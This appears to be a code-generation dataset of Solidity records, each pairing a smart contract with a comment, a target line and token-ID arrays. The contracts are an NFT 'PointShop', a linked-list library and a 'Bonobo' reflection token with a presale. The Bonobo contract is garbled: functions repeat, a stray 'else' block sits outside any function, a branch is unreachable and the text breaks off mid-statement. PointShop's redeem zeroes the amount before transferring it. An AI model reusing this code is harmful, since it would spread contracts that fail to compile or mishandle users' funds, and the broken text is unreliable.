isShopAdmin[_uToken][msg.sender], "PointShop: Only shop admin can set constraints"); if(_notAnyAllowed) { notAnyAllowed[_uToken] = _notAnyAllowed; return; } require(_ids.length < 200, "PointShop: Allow at most 200 ids at a time"); for (uint8 i=0; i<200; i++) { if (i == _ids.length) { break; } allowedNFTs[_uToken][_contract][_ids[i]] = _isAllowed; } } function setAdmin(address _uToken, address[] memory _addresses, bool _isAdmin) public { require(Converter(_uToken).issuer() == msg.sender, "PointShop: Only issuer can set this permission"); require(_addresses.length < 200, "ProxyCreator: Set at most 200 addresses at a time"); for (uint8 i=0; i<200; i++) { if (i == _addresses.length) { break; } isShopAdmin[_uToken][_addresses[i]] = _isAdmin; } } function setPublic(address _uToken, bool _isPublic) public { // Check if issuer OR shopAdmin require(Converter(_uToken).issuer() == msg.sender || isShopAdmin[_uToken][msg.sender], "PointShop: Only shop admin can set this permission"); isPublic[_uToken] = _isPublic; } // deposits an nft using the transferFrom action of the NFT contractAddr function deposit(address _uToken, uint256[] calldata tokenIDs, uint256[] calldata amounts, uint256[] calldata prices, address contractAddr) external { if(notAnyAllowed[_uToken]) { for (uint8 i=0; i<200; i++) { if (i == tokenIDs.length) { break; } require(allowedNFTs[_uToken][contractAddr][tokenIDs[i]], "PointShop: Attempted deposit of non-whitelisted NFT"); } } // Check if issuer OR shop admin OR isPublic require(Converter(_uToken).issuer() == msg.sender || isShopAdmin[_uToken][msg.sender] || isPublic[_uToken], "PointShop: Only shop admin can add to shop"); require(tokenIDs.length <= 50, "PointShop: A maximum of 50 tokens can be deposited in one go"); require(tokenIDs.length > 0, "PointShop: You must specify at least one token ID"); if (ERC165Checker.supportsInterface(contractAddr, 0xd9b67a26)){ IERC1155(contractAddr).safeBatchTransferFrom(msg.sender, address(this), tokenIDs, amounts, VALIDATOR); for (uint8 i = 0; i < 50; i++){ if (tokenIDs.length == i){ break; } nfts[_uToken][currentNFTIndex[_uToken]++] = NFT(contractAddr, tokenIDs[i], amounts[i], prices[i]); } } else { for (uint8 i = 0; i < 50; i++){ if (tokenIDs.length == i){ break; } IERC721(contractAddr).transferFrom(msg.sender, address(this), tokenIDs[i]); nfts[_uToken][currentNFTIndex[_uToken]++] = NFT(contractAddr, tokenIDs[i], 1, prices[i]); } } emit Deposited(_uToken, tokenIDs, amounts, contractAddr); } // Edit existing NFT structs (prices) in shop function modifyShop(address _uToken, uint256[] calldata internalIDs, uint256[] calldata prices) public { require(internalIDs.length <= 50, "PointShop: A maximum of 50 NFTs can be modified in one go"); require(internalIDs.length > 0, "PointShop: You must specify at least one internal ID"); // Check if issuer OR shop admin require(Converter(_uToken).issuer() == msg.sender || isShopAdmin[_uToken][msg.sender], "PointShop: Only shop admin can modify shop"); for (uint8 i = 0; i < 50; i++){ if (internalIDs.length == i){ break; } NFT storage currentNFT = nfts[_uToken][internalIDs[i]]; currentNFT.price = prices[i]; } } // Function that adds to PointFarm function add(address _uToken, bool _withUpdate) public { require(Converter(_uToken).issuer() == msg.sender || isShopAdmin[_uToken][msg.sender] || isPublic[_uToken], "PointShop: Only shop admin can add shop to farm"); require(!shopExists[_uToken], "PointShop: Already added"); PointFarm(farm).add(IERC20(_uToken), _withUpdate); shopExists[_uToken] = true; } // Function that redeems points for NFTs function redeem(address _uToken, uint256 internalID) public { PointFarm(farm).burn(msg.sender, PointFarm(farm).shopIDs(_uToken), nfts[_uToken][internalID].price); NFT storage currentNFT = nfts[_uToken][internalID]; currentNFT.amount = 0; if (ERC165Checker.supportsInterface(nfts[_uToken][internalID].contractAddr, 0xd9b67a26)){ IERC1155(nfts[_uToken][internalID].contractAddr).safeTransferFrom(address(this), msg.sender, nfts[_uToken][internalID].tokenId, nfts[_uToken][internalID].amount, VALIDATOR); } else { IERC721(nfts[_uToken][internalID].contractAddr).transferFrom(address(this), msg.sender, nfts[_uToken][internalID].tokenId); } } /** * ERC1155 Token ERC1155Receiver */ function onERC1155Received(address _operator, address _from, uint256 _id, uint256 _value, bytes calldata _data) override external returns(bytes4) { if(keccak256(_data) == keccak256(VALIDATOR)){ return 0xf23a6e61; } } function onERC1155BatchReceived(address _operator, address _from, uint256[] calldata _ids, uint256[] calldata _values, bytes calldata _data) override external returns(bytes4) { if(keccak256(_data) == keccak256(VALIDATOR)){ return 0xbc197c81; } } }
Track whether uToken has a shop
mapping(address => bool) public shopExists;
7,646,371
[ 1, 4402, 2856, 582, 1345, 711, 279, 12122, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 2874, 12, 2867, 516, 1426, 13, 1071, 12122, 4002, 31, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity >=0.6.0; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/drafts/Counters.sol"; library ListUint256 { using SafeMath for uint256; using Counters for Counters.Counter; struct ItemWrapper { uint256 item; mapping(bool => uint256) nearbyWrappers; //false - previous item, true - next item } struct List { uint256 rootId; uint256 lastId; uint256 freeIndexesLength; uint256 nextWrapperId; Counters.Counter length; mapping(uint256 => uint256) freeIndexes; mapping(uint256 => ItemWrapper) wrappers; } /** * @dev Creating new List * @return List */ function newList() internal pure returns (List memory) { return List(0, 0, 0, 1, Counters.Counter(0)); } /** * @dev Add new item to list's end. O(1). * If you want change item's data, call {get} or {getByInnerIndex}, they returns stored items in this list. * Remember, that in this List save only copied item. Therefore, items can be store only in one List * @return normalIndex and innerIndex */ function add(List storage list, uint256 item) internal returns (uint256 normalIndex, uint256 innerIndex) { uint256 newItemId = addToInternalArray(list, item); if (!rootExist(list)) { list.rootId = newItemId; } else { list.wrappers[list.lastId].nearbyWrappers[true] = newItemId; setNearbys(list.wrappers[newItemId], list.lastId, 0); } uint256 normalId = list.length.current(); list.lastId = newItemId; list.length.increment(); return (normalId, newItemId); } /** * @dev Insert new item by index. O(n) * If you want change item's data, call {get} or {getByInnerIndex}, they returns stored items in this list. * Remember, that in this List save only copied item. Therefore, items can be store only in one List * @return innerIndex returned */ function insert(List storage list, uint256 item, uint256 index) internal returns (uint256) { require(index < list.length.current(), "Out of range exception"); uint256 newItemId = addToInternalArray(list, item); if (index == 0) { uint256 rootId = list.rootId; setNearbys(list.wrappers[newItemId], 0, rootId); list.wrappers[rootId].nearbyWrappers[false] = newItemId; list.rootId = newItemId; } else { uint256 currentItemId = list.rootId; for (uint256 i = 1; i <= index; i = i.add(1)) { currentItemId = list.wrappers[currentItemId] .nearbyWrappers[true]; //берём текущий враппер и берём у него id следующего } ItemWrapper storage nextWrapper = list.wrappers[currentItemId]; ItemWrapper storage prevWrapper = list.wrappers[nextWrapper .nearbyWrappers[false]]; ItemWrapper storage currentWrapper = list.wrappers[newItemId]; prevWrapper.nearbyWrappers[true] = newItemId; nextWrapper.nearbyWrappers[false] = newItemId; setNearbys( currentWrapper, nextWrapper.nearbyWrappers[false], currentItemId ); } list.length.increment(); return newItemId; } /** * @dev Replace item by index. O(n) * If you want change item's data, call {get} or {getByInnerIndex}, they returns stored items in this list. * Remember, that in this List save only copied item. Therefore, items can be store only in one List * @return (innerIndex: uint256) */ function replaceByNormalId(List storage list, uint256 index, uint256 item) internal returns (uint256) { require(index < list.length.current(), "Out of range exception"); uint256 itemIdToReplace = list.rootId; for (uint256 i = 1; i <= index; i = SafeMath.add(i, 1)) { itemIdToReplace = list.wrappers[itemIdToReplace].nearbyWrappers[true]; } list.wrappers[itemIdToReplace].item = item; return itemIdToReplace; } /** * @dev Replace item by inner index. O(1) * If you want change item's data, call {get} or {getByInnerIndex}, they returns stored items in this list. * Remember, that in this List save only copied item. Therefore, items can be store only in one List */ function replaceByInnerlId(List storage list, uint256 index, uint256 item) internal { list.wrappers[index].item = item; } /** * @dev Find item and remove it. O(n). */ function removeByNormalId(List storage list, uint256 index) internal { require(index < list.length.current(), "Out of range exception"); uint256 itemIdToRemove = list.rootId; for (uint256 i = 1; i <= index; i = i.add(1)) { itemIdToRemove = list.wrappers[itemIdToRemove].nearbyWrappers[true]; //берём текущий враппер и берём у него id следующего } uint256 nextId = list.wrappers[itemIdToRemove].nearbyWrappers[true]; uint256 prevId = list.wrappers[itemIdToRemove].nearbyWrappers[false]; if (itemIdToRemove == list.lastId) list.lastId = prevId; if (itemIdToRemove == list.rootId) list.rootId = nextId; else { list.wrappers[prevId].nearbyWrappers[true] = nextId; if (nextId != 0) list.wrappers[nextId].nearbyWrappers[false] = prevId; } list.freeIndexes[list.freeIndexesLength] = itemIdToRemove; list.freeIndexesLength = list.freeIndexesLength.add(1); setNearbys(list.wrappers[itemIdToRemove], 0, 0); //удаляем зависимости для дальнейшего определения существования list.length.decrement(); } /** * @dev Remove item by innerIndex. O(1). */ function removeByInnerlId(List storage list, uint256 innerIndex) internal { uint256 nextId = list.wrappers[innerIndex].nearbyWrappers[true]; uint256 prevId = list.wrappers[innerIndex].nearbyWrappers[false]; if (innerIndex == list.lastId) list.lastId = prevId; if (innerIndex == list.rootId) list.rootId = nextId; else { list.wrappers[prevId].nearbyWrappers[true] = nextId; if (nextId != 0) list.wrappers[nextId].nearbyWrappers[false] = prevId; } list.freeIndexes[list.freeIndexesLength] = innerIndex; list.freeIndexesLength = list.freeIndexesLength.add(1); setNearbys(list.wrappers[innerIndex], 0, 0); //удаляем зависимости для дальнейшего определения существования list.length.decrement(); } /** * @dev Return current List length * @return uin256 */ function getLength(List storage list) public view returns (uint256) { return list.length.current(); } /** * @dev Function for loop iterating. O(1). * For start looping send zero. * When loop finished, function returns zero inner index (this index does not using for items). * If you want get Item, call the function {getByInnerIndex} * Example: uint256 innerIndex = list.iterate(0); while(innerIndex != 0) { Item storage item = list.getByInnerIndex(innerIndex); //working with item innerIndex = list.iterate(innerIndex); } * @return innerIndex returned */ function iterate(List storage list, uint256 currentInnerIndex) public view returns (uint256) { if(currentInnerIndex == 0) return list.rootId; return list.wrappers[currentInnerIndex].nearbyWrappers[true]; } /** * @dev Find and return item by index. O(n). */ function get(List storage list, uint256 index) public view returns (uint256 item, uint256 innerId) { require(index < list.length.current(), "Out of range exception"); uint256 currentItemId = list.rootId; for (uint256 i = 1; i <= index; i = i.add(1)) { currentItemId = list.wrappers[currentItemId].nearbyWrappers[true]; //берём текущий враппер и берём у него id следующего } return (list.wrappers[currentItemId].item, currentItemId); } /** * @dev Return item by inner index. O(1). * @return Item storage */ function getByInnerIndex(List storage list, uint256 index) public view returns (uint256) { return list.wrappers[index].item; } /** * @dev Return Last added item. O(1). * @return Item storage */ function last(List storage list) public view returns (uint256) { require(list.lastId != 0, "List does not have elements"); return list.wrappers[list.lastId].item; } function existsById(List storage list, uint256 id) public view returns (bool) { return id < list.length.current(); } function existsByInnerId(List storage list, uint256 innerId) public view returns (bool) { return list.rootId == innerId || list.wrappers[innerId].nearbyWrappers[true] != 0 || list.wrappers[innerId].nearbyWrappers[false] != 0; } /** * @dev Collect elements and Return their as Solidity array * @return Item[] memory */ function toArray(List storage list) internal view returns (uint256[] memory) { uint256[] memory itemsArray = new uint256[](list.length.current()); if (!rootExist(list)) return itemsArray; uint256 currentItemId = list.rootId; itemsArray[0] = list.wrappers[currentItemId].item; for (uint256 i = 1; i < list.length.current(); i = i.add(1)) { currentItemId = list.wrappers[currentItemId].nearbyWrappers[true]; itemsArray[i] = list.wrappers[currentItemId].item; } return itemsArray; } function nextExists(ItemWrapper storage itemWrapper) private view returns (bool) { return itemWrapper.nearbyWrappers[true] > 0; } function prevExists(ItemWrapper storage itemWrapper) private view returns (bool) { return itemWrapper.nearbyWrappers[false] > 0; } function setNearbys( ItemWrapper storage itemWrapper, uint256 prev, uint256 next) private { itemWrapper.nearbyWrappers[true] = next; itemWrapper.nearbyWrappers[false] = prev; } function rootExist(List storage list) private view returns (bool) { return list.rootId > 0; } function addToInternalArray(List storage list, uint256 item) private returns (uint256) { initIfNeed(list); uint256 itemId = 0; if (list.freeIndexesLength > 0) { itemId = list.freeIndexes[list.freeIndexesLength - 1]; list.freeIndexesLength = list.freeIndexesLength.sub(1); list.wrappers[itemId] = ItemWrapper(item); } else { //require(list.manager.listToNextWrapperId[list.id] == 1, "next index is zero!!!"); itemId = list.nextWrapperId; list.nextWrapperId = list.nextWrapperId.add(1); list.wrappers[itemId] = ItemWrapper(item); } return itemId; } function initIfNeed(List storage list) private { if(list.nextWrapperId == 0) { require(list.rootId == 0 && list.freeIndexesLength == 0 && list.lastId == 0 && list.length.current() == 0, "Internal error with List Implementation"); list.nextWrapperId = 1; } } }
* @dev Replace item by inner index. O(1) If you want change item's data, call {get} or {getByInnerIndex}, they returns stored items in this list. Remember, that in this List save only copied item. Therefore, items can be store only in one List/
function replaceByInnerlId(List storage list, uint256 index, uint256 item) internal { list.wrappers[index].item = item; }
12,703,905
[ 1, 5729, 761, 635, 3443, 770, 18, 531, 12, 21, 13, 971, 1846, 2545, 2549, 761, 1807, 501, 16, 745, 288, 588, 97, 578, 288, 588, 858, 2857, 1016, 5779, 2898, 1135, 4041, 1516, 316, 333, 666, 18, 23133, 16, 716, 316, 333, 987, 1923, 1338, 9268, 761, 18, 17189, 16, 1516, 848, 506, 1707, 1338, 316, 1245, 987, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 1453, 858, 2857, 80, 548, 12, 682, 2502, 666, 16, 2254, 5034, 770, 16, 2254, 5034, 761, 13, 203, 3639, 2713, 203, 565, 288, 203, 3639, 666, 18, 4113, 10422, 63, 1615, 8009, 1726, 273, 761, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/42/0x6A7aEd22A7535D4bD46263A4a3bEF5a49D7CDeCF/sources/Bonobo/Bonobo.sol
uint256 private totalSlots = 50; uint256 private allocationPerWallet = 1 * 10**6 * 10**9;
contract BONOBO is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; address[] private _excluded; address payable private Owner; uint256 public investorsStartTime; uint256 public investorsEndTime; uint256 public investorsCount; uint256 public maxInvestorsCount; uint256 public lockedLiquidity = 720000000000 * 10**6 * 10**9; uint256 public presaleSupply = 250000000000 * 10**6 * 10**9; uint256 public marketing = 30000000000 * 10**6 * 10**9; uint256 public presalePrice = 25; uint256 public listingPrice = 75; uint256 public hardCap = 100; uint256 private constant MAX = ~uint256(0); uint256 private _tTotal = 1000000000000 * 10**6 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private _name = "Bonobo"; string private _symbol = "BONOBO"; uint8 private _decimals = 9; uint256 public _taxFee = 5; uint256 private _previousTaxFee = _taxFee; uint256 public _liquidityFee = 5; uint256 private _previousLiquidityFee = _liquidityFee; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; bool inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; bool public tradingEnabled = false; uint256 public _maxTxAmount = 5000000 * 10**6 * 10**9; uint256 private minNumTokensSellToAddToLiquidity = 250000 * 10**6 * 10**9; address payable public donationWalletAddress = 0xE8C852FB61a6350caa4a5301ECaEa4F5DF2eAdE9; event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap); event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor () public { _rOwned[_msgSender()] = _rTotal; _rOwned[address(this)] = presaleSupply; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router = _uniswapV2Router; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; Owner = payable(owner()); emit Transfer (address(0), _msgSender(), _tTotal); } function setStartAndEndTime(uint256 investorsStartTimestamp) public onlyOwner { investorsStartTime = investorsStartTimestamp; investorsEndTime = investorsStartTimestamp + (86400 * 30); } function setPresalePrice(uint256 _presalePrice) public onlyOwner{ presalePrice = _presalePrice; } function setListingPrice(uint256 _listingPrice) public onlyOwner { listingPrice = _listingPrice; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcludedFromReward(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function deliver(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,,) = _getValues(tAmount); return rAmount; (,uint256 rTransferAmount,,,,) = _getValues(tAmount); return rTransferAmount; } } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,,) = _getValues(tAmount); return rAmount; (,uint256 rTransferAmount,,,,) = _getValues(tAmount); return rTransferAmount; } } } else { function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeFromReward(address account) public onlyOwner() { require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function excludeFromReward(address account) public onlyOwner() { require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeInReward(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function includeInReward(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function includeInReward(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function excludeFromFee(address account) public onlyOwner { _isExcludedFromFee[account] = true; } function includeInFee(address account) public onlyOwner { _isExcludedFromFee[account] = false; } function setTaxFeePercent(uint256 taxFee) external onlyOwner() { _taxFee = taxFee; } function setMinNumTokensSellToAddToLiquidity(uint256 newMinNumTokensSellToAddToLiquidity) external onlyOwner() { minNumTokensSellToAddToLiquidity = newMinNumTokensSellToAddToLiquidity; } function setLiquidityFeePercent(uint256 liquidityFee) external onlyOwner() { _liquidityFee = liquidityFee; } function setDonationWalletAddress(address payable newDonationWalletAddress) external onlyOwner() { donationWalletAddress = newDonationWalletAddress; } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { _maxTxAmount = _tTotal.mul(maxTxPercent).div( 10**2 ); } function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner { swapAndLiquifyEnabled = _enabled; emit SwapAndLiquifyEnabledUpdated(_enabled); } function setMaxInvestorsCount(uint256 count) public onlyOwner() { maxInvestorsCount = count; } function enableTrading() external onlyOwner() { tradingEnabled = true; } receive() external payable {} function presaleInvest() public payable { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); require(investorsCount <= maxInvestorsCount ); require(block.timestamp < investorsEndTime, "Closed"); uint256 amount = (msg.value).mul(presalePrice); require(amount <= presaleSupply); presaleSupply = presaleSupply.sub(amount); _transfer(Owner, _msgSender(), amount); Owner.transfer(msg.value); investorsCount++; } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getTValues(tAmount); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, _getRate()); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity); } function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256) { uint256 tFee = calculateTaxFee(tAmount); uint256 tLiquidity = calculateLiquidityFee(tAmount); uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity); return (tTransferAmount, tFee, tLiquidity); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rLiquidity = tLiquidity.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return 